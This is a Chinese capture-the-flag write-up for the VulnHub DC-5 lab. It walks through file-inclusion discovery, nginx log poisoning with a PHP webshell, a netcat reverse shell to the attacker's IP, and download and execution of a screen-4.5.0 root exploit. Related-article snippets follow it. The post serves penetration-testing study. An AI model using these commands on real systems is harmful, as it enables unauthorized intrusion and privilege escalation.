DC-5靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1aZRB-hqvqLlGUmAPFljnIA?pwd=elxg 
提取码:elxg 

参考:

  • DC5官方地址:https://www.vulnhub.com/entry/dc-5,314/
  • DC5靶机地址:https://download.vulnhub.com/dc/DC-5.zip
  • http://t.csdnimg.cn/fQuRB
  • DC-5 (1).pdf
  • 【DC系列靶机DC5通关讲解】 https://www.bilibili.com/video/BV1Bj411N74r/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • ChatGPT

image.png
描述:

DESCRIPTION 说明
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-5是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
DC-5的计划是让它更上一层楼,所以这对初学者来说可能不太好,但对有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也是如此)。As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
据我所知,只有一个可利用的入口点(也没有SSH)。这个特定的切入点可能很难识别,但它就在那里。你需要寻找一些不同寻常的东西(随着页面刷新而变化的东西)。这将有望为漏洞可能涉及的内容提供某种思路。And just for the record, there is no phpmailer exploit involved. :-)
而且只是为了记录在案,不涉及phpmailer漏洞。:-)The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。But if you're really, really stuck, you can watch this video which shows the first step.
但如果你真的,真的卡住了,你可以看这段视频,它展示了第一步。

1、导入VMware虚拟机

下载完成后,得到DC-5.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc5 ,后续的操作都在该目录下进行
image.png

使用工具
攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.133

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png
image.png
发现主机192.168.1.133开启着80端口的HTTP服务
访问一下web页面,发现是一个静态页面
image.png
根据题目描述和提示,查找随着页面刷新而变化的东西
image.png
先在contact那里随便提交一下
image.png
image.png
随着页面的刷新 ,Copyright © 2018 会随之变化
image.png
查看源代码,发现


image.png
再进行一下目录扫描看看,发现footer.php

dirsearch -u "http://192.168.1.133/" -e php

image.png
访问发现是这个footer.php来控制变化的
image.png
猜想是thankkyou.php调用footer.php,所以可能存在文件包含漏洞。

FUZZ 测试隐藏参数

FUZZ作为一个占位标志,后续爆破就爆破它这个位置

http://192.168.1.133/thankyou.php?FUZZ=/etc/passwd
  • 可以用BurpSuite来
  • 也可以用wfuzz
  • 或者 ffuf

这里用wfuzz


wfuzz 是一个功能强大的Web应用程序扫描和爆破工具,用于发现隐藏的文件和目录、敏感数据泄露、漏洞等。它可以通过使用自定义的字典列表来对目标进行高效率的爆破。
wfuzz 的使用方法如下:

wfuzz [options] <url>

其中 [options] 代表可选的命令行选项, 是目标URL。
以下是一些常用的 wfuzz 命令行选项:

  • -w, --wordlist :指定用于爆破的字典文件。
  • -d, --data :指定要在请求中发送的数据。
  • -H, --headers :指定自定义的HTTP头信息。
  • -c, --cookies :指定要使用的Cookie。
  • -t, --threads :指定同时运行的线程数。
  • -p, --proxy :指定要使用的代理服务器。
  • -o, --output :将结果输出到文件中。

这只是一小部分 wfuzz 的命令行选项。您可以通过运行 wfuzz --help 查看完整的帮助文档以了解更多功能和用法示例。
请注意,在进行Web应用程序扫描和爆破时,必须获得合法授权,并遵守法律和道德准则。滥用此类工具可能导致违法行为和未经授权的访问。


wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.133/thankyou.php?FUZZ=/etc/passwd

image.png
查看长度不一样的,因为包含了文件,所以字符会变多
image.png
得到这个参数就是file
接下来测试文件包含
这里是关于日志文件包含,由于nmap扫描到靶机服务器是nginx
服务器的日志存放在/var/log/nginx/access.log里面

到这一步这⾥推荐重新导⼊靶机,或者返回初始快照,因为前期发送过多数据,导致⽇志内的数据⼗分多,⼀旦包含会造成卡顿。

我们先 通过 burpsuite 抓包发送数据包,内容为⼀句话木马 ,并在前面加上fab1an做了一个标记,方便等一下查看
image.png

查看日志文件,木马写入成功。

fa1an标记后面没有显示一句话木马,说明php代码被执行解析了,并没有被当成文本输出
image.png
然后接着用蚁剑进行链接,连接成功
image.png
查看thankyou.php,确实发现包含了footer文件
image.png
接下里开启蚁剑的虚拟终端,并将shell反弹到kali上,
因为蚁剑的终端是伪终端,只是把我们的命令转换成php代码发送过去,再以相同的方式回显出来而已,

  • kali监听8888端口

image.png

  • 蚁剑把Shell反弹回来 (注意IP地址要填kali的地址,老是填错,填成靶机的IP可不行)
nc -e /bin/bash 192.168.1.128 8888

image.png

进入交互模式(让shell更好操作更好看一点)

python -c "import pty;pty.spawn('/bin/bash')"

image.png

提权,用find查看suid是否有可执行的文件

find / -perm -4000 -print 2>/dev/null#查看suid是否有可执行的文件
#找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶

image.png
发现screen的版本号都出来了,那么就搜索一下能不能利用
搜索发现screen-4.5.0存在漏洞

searchsploit screen

image.png

searchsploit -m 41154.sh # 下载脚本到当前目录

image.png
改个简单的名字
image.png
并在当前目录开启HTTP服务,这样子就能在靶机上下载到这个脚本了

python -m http.server 80

image.png
看到这个页面就说明HTTP启动好了
image.png
回到靶机上
先进入 /tmp 目录,这个目录才有下载权限

cd /tmp

然后把脚本下载下来

wget http://192.168.1.128/a.sh

image.png
运行一下脚本就可以获得root权限了

bash a.sh

image.png

进入交互模式(让shell更好操作更好看一点)

python -c "import pty;pty.spawn('/bin/bash')"

flag

image.png

如果运行脚本的时候出现问题
image.png
如果是dos格式,需要转化为unix格式
那就用这条命令,然后就可以了
image.png

总结

  • 信息收集很重要
  • 学到反弹shell,日志文件包含
  • FUZZ
  • python启动HTTP服务学到了
  • 提权的知识点巩固

完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/635387.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年17款最好用的免费录制网课软件分享

近年来&#xff0c;在线课程越来越受欢迎&#xff0c;为学习者提供了方便、灵活的教育内容获取方式。随着电子学习和网络培训的兴起&#xff0c;有许多工具可以帮助课程创建者记录和编辑其在线内容。虽然市场上有许多免费和付费工具&#xff0c;但本文将重点介绍 17 个用于录制…

前端学习路线图和一些经验

关于前端目前个人建议的一个路线,也是自己之前前端学习时候的一个大致路线,给想要学习前端的小白一个参考,以前自己刚开始接触前端的时候就是不知道该按照什么路线学习 eg-前端是做什么的&#xff1f; 就是开发网站,移动端&#xff0c;小程序之类的页面 调调接口完成页面的渲…

Django笔记(二):模板templates

首 Django模板层是为动态生成html服务的&#xff0c;非本文重点。前后端分离的设计更为常见&#xff0c;尽量少的涉及Django模板层内容。本文记录Django如何找到一个html文件。 模板文件 在创建一个Django项目project后&#xff0c;目录下会生成一个同名目录和manage.py。创…

Ansible详解(架构,模块)及部署示例

Ansible概述 Ansible是一个基于Python开发的配置管理和应用部署工具&#xff0c;也在自动化管理领域大放异彩。它融合了众多老牌运维工具的优点&#xff0c;几乎可以实现Puppet和Saltstack能实现的功能。 Ansible是一款开源的IT自动化工具&#xff0c;它能够自动执行配置管理、…

如何免费从 SD 卡恢复已删除的文件?(照片、视频、MP3)

今天我们将告诉您如何免费从格式化的 SD 卡或闪存卡恢复文件。 特别是如果您是一名摄影师、博主或任何处理内容的人&#xff0c;您的 SD 卡上有一些内容&#xff0c;但您不小心删除或格式化了&#xff0c;现在您要向自己道歉。 无需担心&#xff0c;因为今天我们将告诉您如何…

vue写了debugger谷歌浏览器打开控制台没进断点

vue代码中打了断点&#xff0c;谷歌打开f12进不了断点解决方案如下 1、打开谷歌浏览器控制台&#xff0c;点击设置 2、在 Ignore List 中将“Enable Ignore Listing”勾选去掉&#xff0c;然后就可以正常使用debugger了

为了最大限度利用带宽,传输通道容量如何计算

一、结论&#xff1a; 传送通道容量 带宽 ✖️ 往返时延 二、过程&#xff1a; 1、传播时延和发送时延&#xff08;带宽&#xff09;通常决定一个报文的发送时间。 传输介质确定的时候&#xff0c;传播时延固定&#xff0c;发送时延根据数据报文的大小而不同。 ①传播时延…

GPT应用开发:编写插件获取实时天气信息

欢迎阅读本系列文章&#xff01;我将带你一起探索如何利用OpenAI API开发GPT应用。无论你是编程新手还是资深开发者&#xff0c;都能在这里获得灵感和收获。 本文&#xff0c;我们将继续展示聊天API中插件的使用方法&#xff0c;让你能够轻松驾驭这个强大的工具。 插件运行效…

==(双等)与 equals的区别

/* * 与equals()的区别 * 1.是关系运算符&#xff0c;equals()是0bject类中定义的方法 * 2.基本数据类型:使用比较值&#xff0c;无法使用equals() * 3.引用数据类型:使用比较内存地址;如果没有重写equals() * 仍然调用的是Object父类的equals()方法&#xff0c;则比较的是内存…

elasticsearch6.6.0设置访问密码

elasticsearch6.6.0设置访问密码 第一步 x-pack-core-6.6.0.jar第二步 elasticsearch.yml第三步 设置密码 第一步 x-pack-core-6.6.0.jar 首先破解 x-pack-core-6.6.0.jar 破解的方式大家可以参考 https://codeantenna.com/a/YDks83ZHjd 中<5.破解x-pack> 这部分 , 也可…

SQL Server Management Studio创建数据表

文章目录 一、建表注意事项1.1 数据类型1.2 建立数据表的基本SQL语法 二、实例说明2.1 创建数据表2.2 实例2 三、标识列和主键示例&#xff1a; 一、建表注意事项 1.1 数据类型 可以看这个去了解数据类型&#xff1a; 1.2 建立数据表的基本SQL语法 建立数据表的基本 SQL 语…

【ARM 嵌入式 编译系列 2.3 -- GCC 编译参数学习 -Wa,-mimplicit-it=thumb 使用介绍】

请阅读【嵌入式开发学习必备专栏 之 ARM GCC 编译专栏】 文章目录 问题背景-wa,-mimplicit-itthumb 介绍-wa 选项-mimplicit-itthumb 选项使用 -wa,-mimplicit-itthumb 问题背景 在移植 RT-Thread 时&#xff0c;使用Make 进行编译&#xff0c;结果遇到了下面问题&#xff1a;…

【正点原子STM32连载】 第四十四章 外部SRAM实验 摘自【正点原子】APM32E103最小系统板使用指南

1&#xff09;实验平台&#xff1a;正点原子APM32E103最小系统板 2&#xff09;平台购买地址&#xff1a;https://detail.tmall.com/item.htm?id609294757420 3&#xff09;全套实验源码手册视频下载地址&#xff1a; http://www.openedv.com/docs/boards/xiaoxitongban 第四…

【备战蓝桥杯】快来学吧~ 图论巩固,Delia的生物考试

蓝桥杯备赛 | 洛谷做题打卡day12 文章目录 蓝桥杯备赛 | 洛谷做题打卡day12最大食物链计数题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示题解代码总的思路&#xff1a;拓扑排序 我的一些话 最大食物链计数 题目背景 你知道食物链吗&#xff1f;Delia 生…

SSM汽车维修管理系统

工具使用情况&#xff1a; eclipsetomcatmysqljdk 技术架构&#xff1a; 后台&#xff1a;springspring mvcmybatis 前台&#xff1a;easyui 功能介绍&#xff1a; 汽车维修管理、车辆接待、维修项目登记、维修领料、质检完工、消费结算 配件管理、财务管理、基础数据管理…

自存angular 复制功能 使用angular material design Clipboard cdk

import { Clipboard } from "angular/cdk/clipboard"; 实例化 constructor(private clipboard: Clipboard) {} 使用 参考angular clipboard cdk html&#xff1a; <button mat-button class"withdraw-btn" (click)"copyCode()"><mat-…

Vue3+Ts:使用i18n实现国际化与全局动态下拉框框切换语言

Vue3Ts&#xff1a;使用i18n实现国际化与全局动态下拉框框切换语言 一、下载依赖&#xff1a;二、创建ts文件并配置main.ts三&#xff0c;如何使用1.在<template>中使用2.在setup中使用 四、全局下拉框动态切换 一、下载依赖&#xff1a; npm install vue-i18nnex二、创…

二进制表示(14)

题目 public class Main {public static String con01(int x,int n) {StringBuffer s new StringBuffer();while(x!0) {s.append(x%n);x/n;}return s.reverse().toString();}public static int con02(int x,int n) {StringBuffer s new StringBuffer();int sum 0;while(x!0…

二、VS2019编译的VTK9.0.0 + Qt 5.14.2 环境测试

1. 使用CMake VS2019 编译vtk 9.0.0 时,需要启用支持Qt开关、如下图 如果不会编译的可以参见我的这篇文章: 一、VTK 9.0.0 编译安装步骤 VS2019 CMake3.26.0-CSDN博客 打开Qt5.14.2 ,创建Qt Widget 项目: 构建设置选择 MSVC2017 64bit pro 项目文件加入两行配置: …

MySQL深入——14

Mysql是如何保证数据不全的&#xff0c;Mysql的数据写入是两阶段提交完成的&#xff0c;即为redo log的prepare阶段和bin log阶段还有redo log的commit阶段&#xff0c;那么数据就和redo log 和bin log 有关。 我们来看看bin log 和redo log的写入机制 bin log bin log的写入…